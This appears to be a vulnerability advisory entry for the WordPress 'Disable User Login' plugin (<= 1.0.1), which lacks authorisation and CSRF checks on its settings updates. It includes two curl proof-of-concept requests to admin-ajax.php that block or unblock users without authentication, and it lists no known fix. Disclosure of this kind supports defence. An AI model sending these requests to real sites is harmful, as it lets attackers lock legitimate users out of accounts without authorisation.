WordPress Plugin Vulnerabilities

Disable User Login <= 1.0.1 - Unauthenticated Settings Update

Description

The plugin does not have authorisation and CSRF checks when updating its settings, allowing unauthenticated attackers to block (or unblock) users at will.

Proof of Concept

Block users registered:
curl -sL http://localhost/wp-admin/admin-ajax.php \
--data "action=dwul_action_callback&useremail={users_registered}"

User activation of block: 
curl -sL http://localhost/wp-admin/admin-ajax.php \
--data "action=dwul_enable_user_email&activateuserid={id}"

Affects Plugins

No known fix

References

Classification

Type
NO AUTHORISATION
CWE

Miscellaneous

Original Researcher
Rafshanzani Suhada
Submitter
Rafshanzani Suhada
Verified
Yes

Timeline

Publicly Published
2022-09-14 (about 1 years ago)
Added
2022-09-14 (about 1 years ago)
Last Updated
2022-09-14 (about 1 years ago)

Other